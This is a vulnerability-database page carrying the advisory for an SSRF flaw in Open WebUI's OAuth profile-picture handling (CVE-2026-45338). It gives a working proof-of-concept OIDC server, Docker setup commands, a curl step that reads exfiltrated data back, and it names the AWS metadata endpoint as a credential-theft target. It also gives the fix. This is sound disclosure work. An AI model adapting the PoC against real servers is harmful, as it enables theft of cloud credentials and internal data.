Vulnerability-Lookup

GHSA-24C9-2M8Q-QHMH

Vulnerability from github – Published: 2026-05-14 20:19 – Updated: 2026-05-19 15:59

Summary

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths: - backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url) - backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

Open WebUI instance with generic OIDC OAuth configured
ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
            self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
                "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
    def _json(self, d):
        b = json.dumps(d).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length",len(b))
        self.end_headers()
        self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

2. Run the PoC server:

python3 poc_oidc.py

3. Start Open WebUI with Docker:

docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main

4. Create an admin account at http://localhost:3000, then sign out.

5. Click "Continue with TestOIDC" on the login page.

6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!

7. Verify exfiltrated data is stored and readable:

curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
"

Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI

The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.

Impact

An attacker can force the Open WebUI server to make HTTP requests to:

Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
Internal network services not exposed to the internet
Localhost-bound services (Redis, Elasticsearch, internal APIs)

This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.

Configuration Note

This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

Suggested Fix

Apply validate_url() before fetching, consistent with existing patterns in the codebase:

from open_webui.retrieval.web.utils import validate_url

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)  # Add this line
        # ... rest unchanged

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:19:56Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.\n\n## Vulnerable Code\n```python\n# backend/open_webui/utils/oauth.py, line ~1337-1345\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n    # No validate_url() call here\n    async with aiohttp.ClientSession(trust_env=True) as session:\n        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:\n            if resp.ok:\n                picture = await resp.read()\n                base64_encoded_picture = base64.b64encode(picture).decode(\u0027utf-8\u0027)\n                return f\u0027data:{guessed_mime_type};base64,{base64_encoded_picture}\u0027\n```\n\nThe codebase already uses `validate_url()` for the same SSRF protection pattern in other paths:\n- `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)`\n- `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)`\n\nThe omission in `_process_picture_url()` is inconsistent with the project\u0027s own security practices.\n\n## Affected Code Paths\n\n1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get(\u0027access_token\u0027))`\n2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true`\n\n## Steps to Reproduce\n\n### Prerequisites\n- Open WebUI instance with generic OIDC OAuth configured\n- `ENABLE_OAUTH_SIGNUP=true`\n\n### Setup\n\n**1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint:\n```python\n\"\"\"Minimal OIDC PoC server - save as poc_oidc.py\"\"\"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, urllib.parse\n\nSSRF_TARGET = \"http://host.docker.internal:9000/canary\"\nCANARY = \"SSRF_CONFIRMED_OPEN_WEBUI\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = urllib.parse.urlparse(self.path).path\n        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)\n        if path == \"/.well-known/openid-configuration\":\n            self._json({\"issuer\":\"http://host.docker.internal:9000\",\n                \"authorization_endpoint\":\"http://localhost:9000/authorize\",\n                \"token_endpoint\":\"http://host.docker.internal:9000/token\",\n                \"userinfo_endpoint\":\"http://host.docker.internal:9000/userinfo\",\n                \"jwks_uri\":\"http://host.docker.internal:9000/jwks\",\n                \"response_types_supported\":[\"code\"],\"subject_types_supported\":[\"public\"],\n                \"id_token_signing_alg_values_supported\":[\"RS256\"],\n                \"token_endpoint_auth_methods_supported\":[\"client_secret_post\",\"client_secret_basic\"]})\n        elif path == \"/authorize\":\n            ru = query.get(\"redirect_uri\",[\"\"])[0]\n            st = query.get(\"state\",[\"\"])[0]\n            self.send_response(302)\n            self.send_header(\"Location\", f\"{ru}?code=poc-code\u0026state={st}\")\n            self.end_headers()\n        elif path == \"/userinfo\":\n            self._json({\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET})\n        elif path == \"/jwks\":\n            self._json({\"keys\":[]})\n        elif path == \"/canary\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\",\"text/plain\")\n            body = CANARY.encode()\n            self.send_header(\"Content-Length\",len(body))\n            self.end_headers()\n            self.wfile.write(body)\n            print(f\"!!! CANARY FETCHED - SSRF CONFIRMED !!!\")\n        else:\n            self.send_response(404); self.end_headers()\n    def do_POST(self):\n        if \"/token\" in self.path:\n            self._json({\"access_token\":\"tok\",\"token_type\":\"bearer\",\"expires_in\":3600,\n                \"userinfo\":{\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET}})\n    def _json(self, d):\n        b = json.dumps(d).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.send_header(\"Content-Length\",len(b))\n        self.end_headers()\n        self.wfile.write(b)\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n**2. Run the PoC server:**\n```bash\npython3 poc_oidc.py\n```\n\n**3. Start Open WebUI with Docker:**\n```bash\ndocker run -d -p 3000:8080 \\\n  --name owui-ssrf-test \\\n  --add-host=host.docker.internal:host-gateway \\\n  -e ENABLE_OAUTH_SIGNUP=true \\\n  -e WEBUI_AUTH=true \\\n  -e OAUTH_CLIENT_ID=test-client \\\n  -e OAUTH_CLIENT_SECRET=test-secret \\\n  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \\\n  -e OAUTH_PROVIDER_NAME=TestOIDC \\\n  -e \"OAUTH_SCOPES=openid email profile\" \\\n  ghcr.io/open-webui/open-webui:main\n```\n\n**4. Create an admin account** at `http://localhost:3000`, then sign out.\n\n**5. Click \"Continue with TestOIDC\"** on the login page.\n\n**6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!`\n\n**7. Verify exfiltrated data is stored and readable:**\n```bash\ncurl -s http://localhost:3000/api/v1/auths/ \\\n  -H \"Authorization: Bearer \u003csession-token\u003e\" | python3 -c \"\nimport sys, json, base64\ndata = json.load(sys.stdin)\nurl = data.get(\u0027profile_image_url\u0027, \u0027\u0027)\nif \u0027base64,\u0027 in url:\n    decoded = base64.b64decode(url.split(\u0027base64,\u0027,1)[1]).decode()\n    print(f\u0027DECODED: {decoded}\u0027)\n\"\n```\n\n**Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI`\n\nThe server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API.\n\n## Impact\n\nAn attacker can force the Open WebUI server to make HTTP requests to:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials\n- **Internal network services** not exposed to the internet\n- **Localhost-bound services** (Redis, Elasticsearch, internal APIs)\n\nThis is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field.\n\n## Configuration Note\n\nThis vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.\n\n## Suggested Fix\n\nApply `validate_url()` before fetching, consistent with existing patterns in the codebase:\n```python\nfrom open_webui.retrieval.web.utils import validate_url\n\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n    if not picture_url:\n        return \u0027/user.png\u0027\n    try:\n        validate_url(picture_url)  # Add this line\n        # ... rest unchanged\n```",
  "id": "GHSA-24c9-2m8q-qhmh",
  "modified": "2026-05-19T15:59:13Z",
  "published": "2026-05-14T20:19:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-24c9-2m8q-qhmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)"
}

CVE-2026-45338 (GCVE-0-2026-45338)

Vulnerability from cvelistv5 – Published: 2026-05-15 21:46 – Updated: 2026-05-15 22:21

Title

Open WebUI: SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.9.0

Show details on NVD website

JSON

To clipboard

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                "timestamp": "2026-05-15T22:20:31.076926Z",
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            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-24c9-2m8q-qhmh"
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      }
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        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
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            "confidentialityImpact": "HIGH",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-24C9-2M8Q-QHMH

Summary

Vulnerable Code

Affected Code Paths

Steps to Reproduce

Prerequisites

Setup

Impact

Configuration Note

Suggested Fix

CVE-2026-45338 (GCVE-0-2026-45338)

Tags

Sightings

Nomenclature